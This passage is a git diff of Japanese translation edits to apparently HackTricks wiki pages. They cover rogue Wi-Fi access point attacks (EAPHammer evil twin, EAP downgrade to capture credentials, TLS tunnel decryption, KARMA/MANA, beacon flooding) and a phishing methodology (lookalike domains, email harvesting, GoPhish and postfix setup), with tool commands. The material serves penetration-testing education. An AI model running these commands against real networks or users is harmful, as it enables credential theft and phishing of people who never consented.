-設定ファイルでは、ssid、channel、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。 +設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、authなど、さまざまな項目を選択できます。 -[**EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) +[**EAP-TLSを使用してhostapd-wpeを使用し、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) **EAPHammerの使用** ```bash @@ -604,15 +593,15 @@ hostapd-wpe ./victim/victim.conf -s # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` -デフォルトでは、EAPHammerはこの認証方法を使用します(平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します): +デフォルトでは、EAPHammerはこの認証方法を目的としています(平文パスワードを取得するために最初にGTCを試み、その後より堅牢な認証方法を使用します): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` -これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに指定することもできます。 +これは長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強力な方法まで、サーバーに認証方法を指定することもできます。 ``` --negotiate weakest ``` -または次のように使用することもできます: +または、次のようにしても利用できます: * `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装(平文パスワード)を使用します。 * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。 @@ -623,44 +612,41 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 `Airgeddon` は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、**ユーザーとパスワードのMD5をキャプチャ**できます。後で、攻撃者はパスワードを解読しようと試みることができます。\ `Airggedon` は**連続的なイービルツイン攻撃(ノイジー)**または**誰かが接続するまでイービルアタックを作成するだけ(スムーズ)**の可能性を提供します。 -![](<../../.gitbook/assets/image (129).png>) +![](<../../.gitbook/assets/image (936).png>) ### Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ _この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_ -_hostapd-wpe_の**構成**内で、`dh_file` を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` に)\ -これにより、`hostapd-wpe` がDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**場合にトラフィックを**復号**できるようになります。 +_hostapd-wpe_の**構成**内で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\ +これにより、`hostapd-wpe` はDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**ため、トラフィックを後で**復号**できるようになります。 -今、通常どおりに修正された構成を使用して**Evil Twin**を開始する**`hostapd-wpe`**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**を開始します。 +今、通常どおり変更された構成を使用して**hostapd-wpe**を起動して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**を起動します。 -今すぐまたは後で(すでにいくつかの認証意図をキャプチャしている場合)、RSAキーをwiresharkに追加できます: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合)、wiresharkにプライベートRSA鍵を追加できます: `編集 --> 設定 --> プロトコル --> TLS --> (RSA鍵リスト) 編集...` -新しいエントリを追加し、次の値でフォームを記入します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル**(**キーファイルを選択**し、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。 +新しいエントリを追加し、次の値を入力します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル**(**キーファイルを選択**し、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。 -![](<../../.gitbook/assets/image (151).png>) +![](<../../.gitbook/assets/image (687).png>) -そして新しい**"Decrypted TLS"タブ**を見てください: +そして、新しい**"Decrypted TLS"タブ**を見てください: -![](<../../.gitbook/assets/image (152).png>) +![](<../../.gitbook/assets/image (231).png>) ## KARMA、MANA、Loud MANAおよびKnown beacons攻撃 ### ESSIDおよびMACブラック/ホワイトリスト -異なる種類のMedia Access Control Filter Lists(MFACL)とそれらに対応するローグアクセスポイント(AP)の振る舞いに対するモードと効果: +異なる種類のMedia Access Control Filter Lists(MFACLs)とそれらに対応するローグアクセスポイント(AP)の振る舞いに及ぼす影響のモード: 1. **MACベースのホワイトリスト**: -- ローグAPは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。 - +* ローグAPは、ホワイトリストに記載されているデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。 2. **MACベースのブラックリスト**: -- ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。 - +* ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。 3. **SSIDベースのホワイトリスト**: -- ローグAPは、指定されたESSIDのみに対するプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。 - +* ローグAPは、リストされている特定のESSIDのプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。 4. **SSIDベースのブラックリスト**: -- ローグAPは、ブラックリスト上の特定のESSIDに対するプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスにはローグAPが見えなくなります。 +* ローグAPは、ブラックリスト上の特定のESSIDのプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスには見えなくなります。 ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af @@ -682,13 +668,13 @@ name3 ``` ### KARMA -この方法は、**デバイスがネットワークに接続しようとする際のすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成する攻撃者**に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、**デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。 +この方法は、**デバイスがネットワークに接続しようとする際に発信されるすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成する攻撃者**に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、**デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続要求を送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。 ### MANA -その後、**デバイスは未要求のネットワーク応答を無視し始めました**。これにより、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入された**MANA攻撃**として知られる新しい方法があります。この方法は、ローグAPが、デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名(SSID)をキャプチャすることを含みます。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。 +その後、**デバイスは未要求のネットワーク応答を無視し始め**、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入された**MANA攻撃**として知られる新しい方法があります。この方法では、ローグAPが、デバイスが以前に要求したネットワーク名(SSID)でデバイスのブロードキャストプローブリクエストに応答することで、デバイスからの**優先ネットワークリスト(PNL)をキャプチャ**します。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。 -MANA攻撃は、デバイスからの指示されたプローブリクエストとブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘導します。 +MANA攻撃は、デバイスからの指示されたおよびブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘います。 ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -700,15 +686,15 @@ MANA攻撃は、デバイスからの指示されたプローブリクエスト ``` ### 既知のビーコン攻撃 -**Loud MANA攻撃**が十分でない場合、**既知のビーコン攻撃**は別のアプローチを提供します。この方法は、**ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースする**ものです。これにより、多数のネットワークの存在がシミュレートされ、被害者のPNL内のESSIDと一致することを期待し、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕捉するためのより積極的な試みとして、`--loud`オプションと組み合わせることで増幅される可能性があります。 +**Loud MANA攻撃**が十分でない場合、**既知のビーコン攻撃**は別のアプローチを提供します。この方法は、ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースします。これにより、多数のネットワークが存在するかのようにシミュレートされ、被害者のPNL内のESSIDと一致することを期待して、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕らえるより積極的な試みのために`--loud`オプションと組み合わせることで増幅される可能性があります。 -Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(`--loud`を組み合わせてLoud MANA + Known beacons攻撃を作成することもできます)。 +Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(`--loud`を組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。 ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` **既知のビーコンバースト攻撃** -**既知のビーコンバースト攻撃**には、ファイルにリストされている各ESSIDに対してビーコンフレームを高速でブロードキャストすることが含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。 +**既知のビーコンバースト攻撃**には、**ファイルにリストされた各ESSIDのビーコンフレームを高速でブロードキャストする**という手法が含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。 ```bash # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ @@ -719,45 +705,60 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす ``` ## Wi-Fi Direct -**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士を直接リンクさせるプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoT)デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。 +**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士が直接リンクするためのプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoT)デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。 + +Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup(WPS)**を介して確立されます。これには、次のような安全なペアリングのためのいくつかの方法がサポートされています。 -Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup(WPS)**を介して確立されます。WPSは、次のような安全なペアリングのためのいくつかの方法をサポートしています: - **Push-Button Configuration(PBC)** - **PIN入力** -- **Near-Field Communication(NFC)** +- **近距離無線通信(NFC)** これらの方法、特にPIN入力は、従来のWi-FiネットワークのWPSと同様の脆弱性に対して脆弱であり、同様の攻撃ベクトルの標的となります。 ### EvilDirect Hijacking -**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます: +**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます。 ## 参考文献 -* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) -* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) -* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) -* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) -* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) -* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) -* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) -* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) -* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) -* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) +- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) +- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) +- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) +- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) +- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) +- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) +- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) +- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) +- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) +- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)をチェックしてください(FacebookログインとキャプティブポータルでのWPAの模倣) -
+
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムのハックニュース**\ リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう -**最新の発表事項**\ +**最新のアナウンスメント**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!** +[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! + +
+ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! + +HackTricksをサポートする他の方法: + +- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしましょう +- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください + +
diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 731013524..b5607d16a 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -2,48 +2,48 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **Discordグループ**に参加する 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。 +- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
## 手法 1. ターゲットを調査する - 1. **ターゲットドメイン**を選択する。 - 2. ターゲットが使用している**ログインポータルを検索**し、**なりすます**ことに決めるために基本的なWeb列挙を実行する。 - 3. いくつかの**OSINT**を使用して**メールアドレスを見つける**。 -2. 環境を準備する - 1. フィッシングアセスメントに使用するドメインを**購入**する - 2. 関連するレコード(SPF、DMARC、DKIM、rDNS)を**構成するメールサービス**を構成する - 3. **gophish**を使用してVPSを構成する -3. キャンペーンを準備する - 1. **メールテンプレート**を準備する - 2. 資格情報を盗むための**Webページ**を準備する -4. キャンペーンを開始する! +2. **ターゲットドメイン**を選択する。 +3. ターゲットが使用しているログインポータルを検索し、**なりすます** ためにどれを **選択するかを決定**するために基本的なWeb列挙を実行する。 +4. いくつかの **OSINT** を使用して **メールアドレスを見つける**。 +5. 環境を準備する +6. フィッシングアセスメントに使用するドメインを**購入**する +7. 関連するレコード(SPF、DMARC、DKIM、rDNS)を **設定する** +8. **gophish**を使用してVPSを構成する +9. キャンペーンを準備する +10. **メールテンプレート**を準備する +11. 資格情報を盗むための **Webページ**を準備する +12. キャンペーンを開始する! ## 類似のドメイン名を生成するか信頼できるドメインを購入する ### ドメイン名の変更手法 -- **キーワード**: オリジナルドメインの重要な**キーワードを含む**ドメイン名(例:zelster.com-management.com)。 -- **ハイフン付きサブドメイン**: サブドメインの**ドットをハイフンに変更**する(例:www-zelster.com)。 -- **新しいTLD**: 同じドメインを**新しいTLD**を使用して(例:zelster.org)。 -- **ホモグリフ**: ドメイン名の文字を**似ている文字で置き換える**(例:zelfser.com)。 -- **転置**: ドメイン名内の2つの文字を**入れ替える**(例:zelsetr.com)。 +- **キーワード**: オリジナルドメインの重要な **キーワードを含む** ドメイン名(例:zelster.com-management.com)。 +- **ハイフン付きサブドメイン**: サブドメインの **ドットをハイフンに変更** する(例:www-zelster.com)。 +- **新しいTLD**: 同じドメインを **新しいTLD** を使用して(例:zelster.org)。 +- **ホモグリフ**: ドメイン名の文字を **似ている文字で置き換える**(例:zelfser.com)。 +- **転置**: ドメイン名内の2つの文字を **入れ替える**(例:zelsetr.com)。 - **単数形/複数形**: ドメイン名の末尾に「s」を追加または削除する(例:zeltsers.com)。 -- **省略**: ドメイン名から1つの文字を**削除する**(例:zelser.com)。 -- **繰り返し**: ドメイン名内の1つの文字を**繰り返す**(例:zeltsser.com)。 -- **置換**: ホモグリフと似ていますが、より控えめです。ドメイン名の1つの文字を置き換え、おそらくキーボード上の元の文字に近い文字で置き換えます(例:zektser.com)。 -- **サブドメイン**: ドメイン名内に**ドット**を挿入する(例:ze.lster.com)。 -- **挿入**: ドメイン名に**文字を挿入する**(例:zerltser.com)。 +- **省略**: ドメイン名から1つの文字を **削除する**(例:zelser.com)。 +- **繰り返し**: ドメイン名内の1つの文字を **繰り返す**(例:zeltsser.com)。 +- **置換**: ホモグリフと同様ですが、より控えめです。ドメイン名の1つの文字を置き換え、おそらくキーボード上で元の文字に近い位置の文字で置き換えます(例:zektser.com)。 +- **サブドメイン**: ドメイン名内に **ドット** を挿入する(例:ze.lster.com)。 +- **挿入**: ドメイン名に1つの文字を **挿入する**(例:zerltser.com)。 - **ドットの欠落**: ドメイン名にTLDを追加する(例:zelstercom.com) **自動ツール** @@ -59,20 +59,20 @@ HackTricksをサポートする他の方法: ### ビットフリップ -**太陽フレア、宇宙線、ハードウェアエラー**などのさまざまな要因により、**保存されたビットや通信中のビットが自動的に反転**される可能性があります。 +**太陽フレア、宇宙線、ハードウェアエラー**などのさまざまな要因により、 **保存されたビットのいくつかが自動的に反転** される可能性があります。 -この概念を**DNSリクエストに適用**すると、DNSサーバーが受信したドメインが最初にリクエストされたドメインと異なる可能性があります。 +この概念を **DNSリクエストに適用** すると、DNSサーバーが受信したドメインが最初に要求されたドメインと異なる可能性があります。 たとえば、ドメイン「windows.com」の1ビットの変更で「windnws.com」に変更される可能性があります。 -攻撃者は、被害者のドメインに類似した**複数のビットフリップドメインを登録**して、合法的なユーザーを自分のインフラストラクチャにリダイレクトすることを狙っています。 +攻撃者は、被害者のドメインに類似した **複数のビットフリップドメインを登録** し、合法的なユーザーを自分のインフラストラクチャにリダイレクトすることを意図しています。 詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)を参照してください。 ### 信頼できるドメインを購入する -[https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索できます。\ -購入する期限切れのドメインが**すでにSEOが良い**かどうかを確認するために、次のカテゴリーにどのように分類されているかを調べることができます: +[https://www.expireddomains.net/](https://www.expireddomains.net) で使用できる期限切れドメインを検索できます。\ +購入する期限切れドメインが **既にSEOが良い** かどうかを確認するには、次のカテゴリーにどのように分類されているかを調べることができます: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -85,17 +85,17 @@ HackTricksをサポートする他の方法: - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -より多くの有効なメールアドレスを発見したり、すでに発見したメールアドレスを**検証**するために、被害者のsmtpサーバーをブルートフォースできるかどうかを確認できます。[ここでメールアドレスを検証/発見する方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ -さらに、ユーザーが**メールにアクセスするためにWebポータルを使用**している場合は、そのポータルが**ユーザー名ブルートフォース**に対して脆弱かどうかを確認し、可能であれば脆弱性を悪用できます。 +より多くの有効なメールアドレスを **発見** するか、すでに発見したメールアドレスを **検証** するために、被害者のsmtpサーバーをブルートフォースできるかどうかを確認できます。[ここでメールアドレスを検証/発見する方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ +さらに、ユーザーが **メールにアクセスするためにWebポータルを使用** している場合は、それが **ユーザー名ブルートフォース** に対して脆弱かどうかを確認し、可能であれば脆弱性を悪用できます。 -## GoPhishの構成 +## GoPhishの設定 ### インストール -[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)からダウンロードできます。 +[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) からダウンロードできます。 -ダウンロードして`/opt/gophish`内に解凍し、`/opt/gophish/gophish`を実行します。\ -出力には、管理ユーザーのパスワードが3333ポートで表示されます。したがって、そのポートにアクセスして、これらの資格情報を使用して管理者パスワードを変更します。ローカルにポートをトンネリングする必要がある場合があります。 +ダウンロードして `/opt/gophish` 内に解凍し、 `/opt/gophish/gophish` を実行します。\ +出力には、ポート3333の管理者ユーザーのパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。そのポートをローカルにトンネリングする必要がある場合があります。 ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -119,22 +119,22 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` -**メールの設定** +**メール構成** インストールを開始します:`apt-get install postfix` 次に、次のファイルにドメインを追加します: -- **/etc/postfix/virtual\_domains** -- **/etc/postfix/transport** -- **/etc/postfix/virtual\_regexp** +* **/etc/postfix/virtual\_domains** +* **/etc/postfix/transport** +* **/etc/postfix/virtual\_regexp** **また、/etc/postfix/main.cf内の次の変数の値を変更します** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -最後に、**`/etc/hostname`** と **`/etc/mailname`** ファイルをドメイン名に変更し、**VPSを再起動します。** +最後に、ファイル **`/etc/hostname`** と **`/etc/mailname`** 